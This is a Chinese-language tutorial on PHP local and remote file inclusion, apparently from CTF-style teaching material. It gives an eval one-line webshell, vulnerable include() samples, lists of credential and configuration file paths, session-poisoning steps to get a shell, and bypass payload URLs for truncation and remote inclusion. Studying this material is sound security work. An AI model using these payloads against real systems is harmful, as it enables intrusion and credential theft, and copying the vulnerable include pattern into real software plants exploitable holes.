一、什么是文件包含漏洞
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需,次编写,这种调用文件的过程一般被称为文件包含。
一句话木马 <?php @eval($_POST['a']);?>
文件包含漏洞的成因
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做
合理的校验或者校验被绕过就造成了文件包含漏洞。
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,
而在JSP、ASP、http://ASP.NET程序中却非常少,甚至没有。包含漏洞的存在。这与程序开发人员的水平无关,而问题在于语言设计的弊端。
漏洞产生原因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
示例代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
例如:
$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。
PHP中常见包含文件的函数
Ø include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。
Ø include_once( )
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
Ø require( )
require()与include()的区别在于require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。
Ø require_once( )
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
文件包含漏洞的分类
本地文件包含漏洞:
当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
远程文件包含漏洞:
本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配
置选项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。
二、文件包含漏洞的实践
1、本地文件包含 Local File Include (LFI)
1.所包含文件内容符合PHP语法规范:任何扩展名都可以被PHP解析。
2.包含非PHP语法规范源文件,会暴露其源代码。
例如:
test1.php代码如下:
<?php
$a='abc';
echo $a;
?>
test2.php代码如下:
<?php
include("test1.php");
?>
执行test2.php,会输出 abc。
如果test2.php包含的是一个 txt文件,并且这个txt文件内容符合php语法规则,则txt文件会被当成php文件执行。如果包含非php语法规则的内容,则会暴露其源代码。
常见的敏感信息路径:
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
/var/log/nginx/access.log 查看相应日志文件,文件日志默认地址
(可通过抓包查看得知服务器为Ubuntu,由nginx搭建的网站,nginx的日志文件默认地址在/var/log/nginx/access.log和/var/log/nginx/error.log,其中本题中access.log可以打开)
1.无限制本地文件包含漏洞
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
测试结果:
通过目录遍历漏洞可以获取到系统中其他文件的内容。
session文件包含漏洞
条件:
session的存储位置可以获取。
1、通过phpinfo的信息可以获取到session的存储位置。
通过phpinfo的信息,
获取到session.save_path为/var/lib/php/sessions:
2. 通过猜测默认的session存放位置进行尝试。
如linux下默认存储在/var/lib/php/session目录下
session中的内容可以被控制,传入恶意代码。
示例:
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
漏洞分析
此php会将获取到的GET型ctfs变量的值存入到session中。
当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。
session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。
所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。
到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:
username|s:4:"ctfs";
[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
username|s:4:"ctfs"
漏洞利用
如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。
当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。
[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"<?php phpinfo();?>";
攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
有限制本地文件包含漏洞绕过:
测试代码:
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
路径长度截断
条件:windows OS,点号需要长于256;linux OS 长于4096
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
点号截断
条件:windows OS,点号需要长于256
http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
2、远程文件包含
PHP的配置文件allow_url_fopen和allow_url_include设置为ON,
include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include =On(是否允许include/require远程文件)
1.无限制远程文件包含漏洞
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
测试结果:
通过远程文件包含漏洞,包含php.txt可以解析。
http://www.filename.com/RFI1.php?filename=http://192.168.204.128/wenjian/php.txt
2. 有限制远程文件包含漏洞绕过
测试代码:
<?php
include($_GET['filename'] . ".html");
?>
代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。
问号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
#号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
%00截断
http://www.filename.com/RFI2.php?filename=http://192.168.204.128/wenjian/php.txt%00
用burp跑一遍发现空格也可以绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
参考博客:博客
参考博客:博客